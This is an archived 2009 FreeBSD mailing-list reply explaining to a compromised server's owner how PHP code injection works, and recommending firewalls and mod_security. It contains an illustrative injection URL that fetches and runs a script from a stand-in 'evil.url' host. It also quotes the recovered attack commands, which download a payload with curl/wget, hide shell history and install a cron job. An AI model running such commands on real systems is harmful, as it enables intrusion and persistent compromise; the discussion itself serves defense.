From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 16:05:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 298CA106568B for ; Thu, 27 Aug 2009 16:05:20 +0000 (UTC) (envelope-from jeremyhooks@googlemail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.26]) by mx1.freebsd.org (Postfix) with ESMTP id AA5FB8FC3A for ; Thu, 27 Aug 2009 16:05:19 +0000 (UTC) Received: by ey-out-2122.google.com with SMTP id 4so305467eyf.9 for ; Thu, 27 Aug 2009 09:05:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=sz84UaU3hwYOnaxtThjcmdoWCnAGYL/8LT/VpTkpm6Q=; b=UcA4S7+RRBmmJNh1+iIwlSmfoictsNcEzGu9Hnnh1sJ31VeMf3OFZmXaKzsc0PX3nS lC9LgWX+xltR1VYXgRyRbtVf4UPmoXoJczXzpUrRXKj5b3+5Dq1AU3g7CRWrWYQOSb5m G5MB58iO9n5HeMEOpZ7zUem42QKCJEj/8uO5E= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=cI7f23YB84Gz4NN9V/bjDAW4use/mdjYsHhh4FJbPjLZUd1zmbSSTHcEUyKR+CtXiR 1wzkkBPEqNDLNmA8ef8Bx2qcqxo61GNLBSzb7gTxY3S+wSkwT654K02lENX/LkV38Uwt GuixSLLkaeR2lOQKsaoJuObNm77cw+kDj2tMs= MIME-Version: 1.0 Received: by 10.216.11.210 with SMTP id 60mr2008017wex.188.1251387308725; Thu, 27 Aug 2009 08:35:08 -0700 (PDT) In-Reply-To: <25167487.post@talk.nabble.com> References: <4A924601.3000507@lim.nl> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> <25149271.post@talk.nabble.com> <25149559.post@talk.nabble.com> <25167487.post@talk.nabble.com> Date: Thu, 27 Aug 2009 16:35:08 +0100 Message-ID: From: Jeremy Hooks To: Colin Brace Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 16:05:20 -0000 Hi Colin. I thought I'd just add my tuppence here. Some time ago I suffered a similar exploit, albeit on a Linux box, with Apache and a different PHP web app (Horde if I recall correctly). There are a number of ways your server could have been comprised via a PHP webapp, and a mailling list probably isn't the best place to give you a tutorial on the likes of cross-site scripting and code injection. What I can do is tell you roughly how my site was infected via a code injection - to give you an idea of how important it is to learn more about it if you are running a webserver (espescially one with third party web apps installed). In my case, I was able to learn quite a bit about how the exploit was performed by looking in my Apache logs. Primarily because the attack exploited an HTTP GET variable, so I could actually grep the name of the script that was download from the logs. Basically all it took was for someone to construct a URL similar to the following*: http://www.myserver.com/vulnerable_script.php?unchecked_variable=3D"some_= value; exec('wget http://evil.url/virus.pl -O /tmp/virus.pl'); exec('/tmp/virus.pl')"; All it needs then is a bit of code on the server side which uses the GET variable verbatum to build a line of code without checking the variable. If the above variable were used in the construction of a line of PHP, in an (extra) unsafe manner, you would end up with several lines of PHP. Clearly building code from a user supplied variable is a very bad idea, and doing so without checking the variable... - however it isn't unheard of in the world of third party web apps (it isn't unheard of in in-house web apps either, however because that are not so widespread there is less chance that the exploit will be found, and probably less to gain from exploiting it). The attack against your server was almost certainly automated and most likely not even targetted at you. If you check your error logs, you will probably see lots of 'file not found' and similar errors, testing for vulnerabilities in ASP scripts and PHP web apps which you don't have installed - in much the same way that you will have SSH login failures for users who don't exist on your system. Using an incoming and outgoing firewall is clearly a must on a dedicated web server. Running an outgoing server on your desktop is a bit more complicated as you would probably want to allow certain applications to setup outgoing connections. I don't know how you do this on a FreeBSD system. However something that no one seems to have mentioned yet is running an application level firewall to protect your web server, this is particularly important if you are running popular third party web applications. Once a flaw has been found in a popular web app, it is very easily for the malware writers to attempt to exploit this on thousands of webservers. A web application firewall, such as Mod_Security for Apache (not sure what is available for lighttpd), will check the traffic to your HTTP server for any irregularities, known exploits and potential exploits. HTH Jeremy * the URL I wrote probably isn't even valid, it is just a demonstration, so just treat it as psuedocode. 2009/8/27 Colin Brace : > > > Colin Brace wrote: >> >> ahhhhh, another directory found in /tmp with files written by www called >> .bash/ Contents here: >> >> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz >> > Apropos of the contents of the above, a correspondent writes: > > [...] > running 'strings' on /tmp/owned will show > "HISTFILE=3D/dev/null > cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null > cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null > echo '*/1 * * * * perl /tmp/tmpfile' >cron.job > crontab cron.job > rm -rf cron.job > chmod 0100 /tmp/tmpfile 2>&1 >/dev/null > perl /tmp/tmpfile 2>&1 >/dev/null" > [...] > > So this would be the original mischief-maker. > > Just out of curiousity, can someone explain to me in basic terms how an > intruder exploits a vulnerability such as apparently existed on my system > (the RoundCube webmail package was apparently the culprit) to place the > binary file "owned" in /tmp and execute it? > > Thanks > > ----- > =A0Colin Brace > =A0Amsterdam > =A0http://lim.nl > -- > View this message in context: http://www.nabble.com/what-www-perl-script-= is-running--tp25112050p25167487.html > Sent from the freebsd-questions mailing list archive at Nabble.com. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" >